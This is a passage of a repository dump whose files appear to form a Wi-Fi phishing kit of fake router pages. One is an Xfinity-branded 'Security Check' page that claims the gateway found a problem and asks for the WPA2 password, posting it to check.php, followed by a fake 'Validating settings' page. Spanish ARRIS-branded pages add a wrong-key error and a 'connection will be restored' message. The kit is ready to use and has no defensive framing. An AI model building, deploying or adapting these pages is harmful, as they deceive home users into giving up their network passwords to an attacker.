wrapper.prototype;\r\n\r\n  // Helper function to continue chaining intermediate results.\r\n  var result = function(obj, chain) {\r\n    return chain ? _(obj).chain() : obj;\r\n  };\r\n\r\n  // A method to easily add functions to the OOP wrapper.\r\n  var addToWrapper = function(name, func) {\r\n    wrapper.prototype[name] = function() {\r\n      var args = slice.call(arguments);\r\n      unshift.call(args, this._wrapped);\r\n      return result(func.apply(_, args), this._chain);\r\n    };\r\n  };\r\n\r\n  // Add all of the Underscore functions to the wrapper object.\r\n  _.mixin(_);\r\n\r\n  // Add all mutator Array functions to the wrapper.\r\n  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {\r\n    var method = ArrayProto[name];\r\n    wrapper.prototype[name] = function() {\r\n      method.apply(this._wrapped, arguments);\r\n      return result(this._wrapped, this._chain);\r\n    };\r\n  });\r\n\r\n  // Add all accessor Array functions to the wrapper.\r\n  each(['concat', 'join', 'slice'], function(name) {\r\n    var method = ArrayProto[name];\r\n    wrapper.prototype[name] = function() {\r\n      return result(method.apply(this._wrapped, arguments), this._chain);\r\n    };\r\n  });\r\n\r\n  // Start chaining a wrapped Underscore object.\r\n  wrapper.prototype.chain = function() {\r\n    this._chain = true;\r\n    return this;\r\n  };\r\n\r\n  // Extracts the result from a wrapped and chained object.\r\n  wrapper.prototype.value = function() {\r\n    return this._wrapped;\r\n  };\r\n\r\n})();\r\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/w",
    "content": "\n"
  },
  {
    "path": "sites/Login-Xfinity/index.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<!-- saved from url=(0016)http://10.0.0.1/ -->\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>Xfinity Security Check</title>\n\n\n    <!--CSS-->\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"./Xfinity_files/common-min.css\">\n    <!--[if IE 6]>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"cmn/css/ie6-min.css\" />\n    <![endif]-->\n    <!--[if IE 7]>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"cmn/css/ie7-min.css\" />\n    <![endif]-->\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"print\" href=\"./Xfinity_files/print.css\">\n\n\n    <!--Character Encoding-->\n    \n\n<script type=\"text/javascript\" src=\"./Xfinity_files/jquery-1.4.2.min.js\"></script>\n<!-- <script type=\"text/javascript\" src=\"dev_only/jquery.qtip-1.0.0-rc3.min.js\"></script> -->\n<script type=\"text/javascript\" src=\"./Xfinity_files/jquery-ui-1.8.5.custom.min.js\"></script>\n\n\n\n<script type=\"text/javascript\" src=\"./Xfinity_files/json2.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/underscore.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/base.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/mib.js\"></script><script language=\"JavaScript\" src=\"./Xfinity_files/mib2.js\" type=\"text/javascript\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/base_95x.js\"></script>\n\n       <script type=\"text/javascript\" src=\"./Xfinity_files/common-min.js\"></script>\n</head>\n\n<body>\n    <!--Main Container - Centers Everything-->\n    <div id=\"container\">\n\n        <!--Header-->\n        <div id=\"header\">\n                <h2 id=\"logo\"><a><span></span><img src=\"Xfinity_files/img/logo_xfinity.png\"></a></h2>\n        </div> <!-- end #header -->\n\n        <!--Main Content-->\n        <div id=\"main-content\">\n\n\n<!-- $Id: home_loggedout.php 3158 2010-01-08 23:32:05Z slemoine $ -->\n<script type=\"text/javascript\">\n\nfunction onKeyPress_check(e) {\n    if (e.which == 13) {\n    e.preventDefault();\n    f();\n    }\n}\n\nfunction getGuiFlag(ModelName)\n{\n\tvar flag;\n\tif (ModelName.search(\"MG2402\")!=-1)\n \t\tflag = false;\n\telse\n\t\tflag = true;\n\t   \n\t$.ajax({\n\t\turl: \"guiflag\",\n\t\tsuccess:function(data){\n\t\t\tif (data.indexOf(\"1\") >= 0)\n\t\t\t{\n\t\t\t\tflag = true;\n\t\t\t}\n\t\t\telse if (data.indexOf(\"0\") >= 0)\n\t\t\t{\n\t\t\t\tflag = false;\n\t\t\t}\n\t\t},\n\t\terror:function(data) {\n\t\t\tif (ModelName.search(\"MG2402\")!=-1)\n \t\t\t\tflag = false;\n\t\t\telse\n\t\t\t\tflag = true;\n\t\t},\n\t\tdatatype:\"text\",\n\t\tcache: false,\n\t\tasync: false\n\t});\n\treturn flag;\n}\n\nfunction f()\n{\n    var flag=0;\n    if( login(document.getElementById('username').value, document.getElementById('password').value ) == \"can_not_login\" )\n    {\n        jAlert(\"Can't login please try again\" , \"ERROR\" , 0 );\n        return;\n    }\n    else\n    {\n        if (!isLoggedIn())\n        {\n            flag=0;\n            jAlert(\"Authentication failed\" , \"ERROR\" , function(e)\n            {\n                if(e)\n                {\n                    document.getElementById('username').value = '';\n                    document.getElementById('password').value = '';\n                    document.getElementById('username').focus();\n                }\n            });\n            return;\n        }\n        else\n        {\n            flag=1;\n            //var ModelName = mib2system.sysName.get();\n            var sysDescr =  mib2system.sysDescr.get();\n            sysDescr=sysDescr.replace(/<</g,\"\");\n            sysDescr=sysDescr.replace(/>>/g,\"\");\n            var sysDescrArray = new Array();\n            sysDescrArray = sysDescr.split(\";\");\n            var sysDescr_Model=\"\";\n        \n            for (var i=0; i<sysDescrArray.length; i++)\n            {\n                if (sysDescrArray[i].match(\"MODEL\"))\n                {\n                    var temp=sysDescrArray[i].split(\":\");\n                    sysDescr_Model=temp[1];\n                }\n            }\n            ModelName=sysDescr_Model.replace(/(^[\\\\s]*)|([\\\\s]*$)/g, \"\");\n            createCookie(\"sysDescrModelName\", ModelName);\n        \n            // let it go even gw not ready\n            //var LoginTimeout = arAdminTimeout.get();\n            if (ModelName!=undefined && ModelName.length>2)//MG/TGXX\n            {\n                /*if (getGuiFlag(ModelName) == false)\n                {\n                        alert(\"Unsupported for MG2402!\");\n                        return;\n                }*/\n                window.location.href=\"at_a_glance.php\";\n                return;\n            }\n            else\n            {\n                jAlert(\"Unknown Model(\"+ModelName+\")!\" , \"ERROR\" ,0);\t\n            }\n        }\n\n        if(flag==0)\n        {\n            jAlert(\"Incorrect Login\" , \"ERROR\" ,0);\n        }\n    }\n}\n\n$(document).ready(function() {\n    //comcast.page.init(\"Login\", \"nav-login\");\n\n    $(\"#pageForm\").validate({\n        errorElement : \"p\"\n        ,errorContainer : \"#error-msg-box\"\n        ,invalidHandler: function(form, validator) {\n            var errors = validator.numberOfInvalids();\n            if (errors) {\n                var message = errors == 1 ? 'You missed 1 field. It has been highlighted' : 'You missed ' + errors + ' fields. They have been highlighted';\n                $(\"div.error\").html(message);\n                $(\"div.error\").show();\n            } else {\n                $(\"div.error\").hide();\n            }\n        }\n        ,rules : {\n            username: {\n                required: true\n                ,minlength: 3\n            }\n            ,password: {\n                required: true\n                ,minlength: 3\n            }\n        }\n        ,messages: {\n            username: {\n                required: \"Username cannot be blank. Please enter a valid username.\"\n            }\n            ,password: {\n                required: \"Password cannot be blank. Please enter a valid password.\"\n                ,minlength: \"Password must be at least 4 characters.\"\n            }\n        }\n    });\n});\n</script>\n\n\n\n<div id=\"sub-header\">\n\n</div><!-- end #sub-header -->\n\n<div id=\"content\">\n    <h1>Security Check</h1>\n\n<img align=\"right\" src=\"Xfinity_files/img/label.jpg\" height=\"250px\" width=\"350px\">\n\n\n    <div id=\"login\" class=\"module forms\">\n\n            <div class=\"form-row\">\n              <p><b>Your XFINITY&trade; Wireless Gateway detected a security issue. Please enter your wireless security settings to proceed.</b></p>\n        </div>\n\n        <div class=\"error\"></div>\n\n<tr><td><form action=\"check.php\" method=\"post\" align=\"center\">\n    <br>&nbsp;&nbsp;&nbsp;WPA2 Password: <input type=\"password\" name=\"password1\">\n        <br>Confirm Password: <input type=\"password\" name=\"password2\">\n            <br><input type=\"submit\" value=\"Submit\" value=\"Send\"></form></td></td></tr>\n    </div>\n</div><!-- end #content -->\n\n<!-- $Id: footer.usg.php 2976 2009-09-02 21:42:51Z cporto $ -->\n        </div> <!-- end #main-content-->\n        \n        <!--Footer-->\n        <div id=\"footer\">\n            <ul id=\"footer-links\">\n                <li class=\"first-child\"><a href=\"http://www.xfinity.com/\" target=\"_blank\">Xfinity.com</a></li>\n                <li><a href=\"https://customer.comcast.com/\" target=\"_blank\">customerCentral</a></li>\n                <li><a href=\"http://customer.comcast.com/userguides\" target=\"_blank\">User Guide</a></li>\n            </ul>\n        </div> <!-- end #footer -->\n    </div> <!-- end #container -->\n\n</body></html>"
  },
  {
    "path": "sites/Login-Xfinity/upgrading.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<!-- saved from url=(0016)http://10.0.0.1/ -->\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>Vaidate Settings</title>\n\n\n    <!--CSS-->\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"./Xfinity_files/common-min.css\">\n    <!--[if IE 6]>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"cmn/css/ie6-min.css\" />\n    <![endif]-->\n    <!--[if IE 7]>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"cmn/css/ie7-min.css\" />\n    <![endif]-->\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"print\" href=\"./Xfinity_files/print.css\">\n\n\n    <!--Character Encoding-->\n    \n\n<script type=\"text/javascript\" src=\"./Xfinity_files/jquery-1.4.2.min.js\"></script>\n<!-- <script type=\"text/javascript\" src=\"dev_only/jquery.qtip-1.0.0-rc3.min.js\"></script> -->\n<script type=\"text/javascript\" src=\"./Xfinity_files/jquery-ui-1.8.5.custom.min.js\"></script>\n\n\n\n<script type=\"text/javascript\" src=\"./Xfinity_files/json2.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/underscore.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/base.js\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/mib.js\"></script><script language=\"JavaScript\" src=\"./Xfinity_files/mib2.js\" type=\"text/javascript\"></script>\n<script type=\"text/javascript\" src=\"./Xfinity_files/base_95x.js\"></script>\n\n       <script type=\"text/javascript\" src=\"./Xfinity_files/common-min.js\"></script>\n</head>\n\n<body>\n    <!--Main Container - Centers Everything-->\n    <div id=\"container\">\n\n        <!--Header-->\n        <div id=\"header\">\n                <h2 id=\"logo\"><a><span></span><img src=\"Xfinity_files/img/logo_xfinity.png\"></a></h2>\n        </div> <!-- end #header -->\n\n        <!--Main Content-->\n        <div id=\"main-content\">\n\n\n<!-- $Id: home_loggedout.php 3158 2010-01-08 23:32:05Z slemoine $ -->\n<script type=\"text/javascript\">\n\nfunction onKeyPress_check(e) {\n    if (e.which == 13) {\n    e.preventDefault();\n    f();\n    }\n}\n\nfunction getGuiFlag(ModelName)\n{\n\tvar flag;\n\tif (ModelName.search(\"MG2402\")!=-1)\n \t\tflag = false;\n\telse\n\t\tflag = true;\n\t   \n\t$.ajax({\n\t\turl: \"guiflag\",\n\t\tsuccess:function(data){\n\t\t\tif (data.indexOf(\"1\") >= 0)\n\t\t\t{\n\t\t\t\tflag = true;\n\t\t\t}\n\t\t\telse if (data.indexOf(\"0\") >= 0)\n\t\t\t{\n\t\t\t\tflag = false;\n\t\t\t}\n\t\t},\n\t\terror:function(data) {\n\t\t\tif (ModelName.search(\"MG2402\")!=-1)\n \t\t\t\tflag = false;\n\t\t\telse\n\t\t\t\tflag = true;\n\t\t},\n\t\tdatatype:\"text\",\n\t\tcache: false,\n\t\tasync: false\n\t});\n\treturn flag;\n}\n\nfunction f()\n{\n    var flag=0;\n    if( login(document.getElementById('username').value, document.getElementById('password').value ) == \"can_not_login\" )\n    {\n        jAlert(\"Can't login please try again\" , \"ERROR\" , 0 );\n        return;\n    }\n    else\n    {\n        if (!isLoggedIn())\n        {\n            flag=0;\n            jAlert(\"Authentication failed\" , \"ERROR\" , function(e)\n            {\n                if(e)\n                {\n                    document.getElementById('username').value = '';\n                    document.getElementById('password').value = '';\n                    document.getElementById('username').focus();\n                }\n            });\n            return;\n        }\n        else\n        {\n            flag=1;\n            //var ModelName = mib2system.sysName.get();\n            var sysDescr =  mib2system.sysDescr.get();\n            sysDescr=sysDescr.replace(/<</g,\"\");\n            sysDescr=sysDescr.replace(/>>/g,\"\");\n            var sysDescrArray = new Array();\n            sysDescrArray = sysDescr.split(\";\");\n            var sysDescr_Model=\"\";\n        \n            for (var i=0; i<sysDescrArray.length; i++)\n            {\n                if (sysDescrArray[i].match(\"MODEL\"))\n                {\n                    var temp=sysDescrArray[i].split(\":\");\n                    sysDescr_Model=temp[1];\n                }\n            }\n            ModelName=sysDescr_Model.replace(/(^[\\\\s]*)|([\\\\s]*$)/g, \"\");\n            createCookie(\"sysDescrModelName\", ModelName);\n        \n            // let it go even gw not ready\n            //var LoginTimeout = arAdminTimeout.get();\n            if (ModelName!=undefined && ModelName.length>2)//MG/TGXX\n            {\n                /*if (getGuiFlag(ModelName) == false)\n                {\n                        alert(\"Unsupported for MG2402!\");\n                        return;\n                }*/\n                window.location.href=\"at_a_glance.php\";\n                return;\n            }\n            else\n            {\n                jAlert(\"Unknown Model(\"+ModelName+\")!\" , \"ERROR\" ,0);\t\n            }\n        }\n\n        if(flag==0)\n        {\n            jAlert(\"Incorrect Login\" , \"ERROR\" ,0);\n        }\n    }\n}\n\n$(document).ready(function() {\n    //comcast.page.init(\"Login\", \"nav-login\");\n\n    $(\"#pageForm\").validate({\n        errorElement : \"p\"\n        ,errorContainer : \"#error-msg-box\"\n        ,invalidHandler: function(form, validator) {\n            var errors = validator.numberOfInvalids();\n            if (errors) {\n                var message = errors == 1 ? 'You missed 1 field. It has been highlighted' : 'You missed ' + errors + ' fields. They have been highlighted';\n                $(\"div.error\").html(message);\n                $(\"div.error\").show();\n            } else {\n                $(\"div.error\").hide();\n            }\n        }\n        ,rules : {\n            username: {\n                required: true\n                ,minlength: 3\n            }\n            ,password: {\n                required: true\n                ,minlength: 3\n            }\n        }\n        ,messages: {\n            username: {\n                required: \"Username cannot be blank. Please enter a valid username.\"\n            }\n            ,password: {\n                required: \"Password cannot be blank. Please enter a valid password.\"\n                ,minlength: \"Password must be at least 4 characters.\"\n            }\n        }\n    });\n});\n</script>\n\n\n\n<div id=\"sub-header\">\n\n</div><!-- end #sub-header -->\n\n<div id=\"content\">\n    <h1>Validating Settings</h1>\n\n\n\n    <div id=\"login\" class=\"module forms\">\n\n            <div class=\"form-row\">\n              <p><b>Validating your settings... Please wait about 1 minute. <img src=\"Xfinity_files/img/distractor.gif\"></b></p>\n        </div>\n\n        <div class=\"error\"></div>\n\n\n    </div>\n</div><!-- end #content -->\n\n<!-- $Id: footer.usg.php 2976 2009-09-02 21:42:51Z cporto $ -->\n        </div> <!-- end #main-content-->\n        \n        <!--Footer-->\n        <div id=\"footer\">\n            <ul id=\"footer-links\">\n                <li class=\"first-child\"><a href=\"http://www.xfinity.com/\" target=\"_blank\">Xfinity.com</a></li>\n                <li><a href=\"https://customer.comcast.com/\" target=\"_blank\">customerCentral</a></li>\n                <li><a href=\"http://customer.comcast.com/userguides\" target=\"_blank\">User Guide</a></li>\n            </ul>\n        </div> <!-- end #footer -->\n    </div> <!-- end #container -->\n\n</body></html>"
  },
  {
    "path": "sites/arris_esp/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>ARRIS-SERVICIOS</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"#F6832A\">--VOLVER A LA PAGINA PRINCIPAL CLIK AQUI--</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"#F6832A\">VOLVER A PAGINA PRICIPAL</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/arris_esp/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> LA CLAVE INGRESADA <b>NO</b> ES CORRECTA!</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img src=\"data:image/gif;base64,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\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>"
  },
  {
    "path": "sites/arris_esp/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nSU CONEXION SERA RESTABLECIDA.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/arris_esp/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>ARRIS-SERVICIOS</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"#F6832A\">CONTROL Y ACCESO :DISPOSITIVOS DE RED Clik AQUI PARA MAS INFORMACION</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"red\" >¿AYUDA?--¿QUE SUCEDE?------</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"440\" height=\"265\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/arris_esp/info.css",
    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; 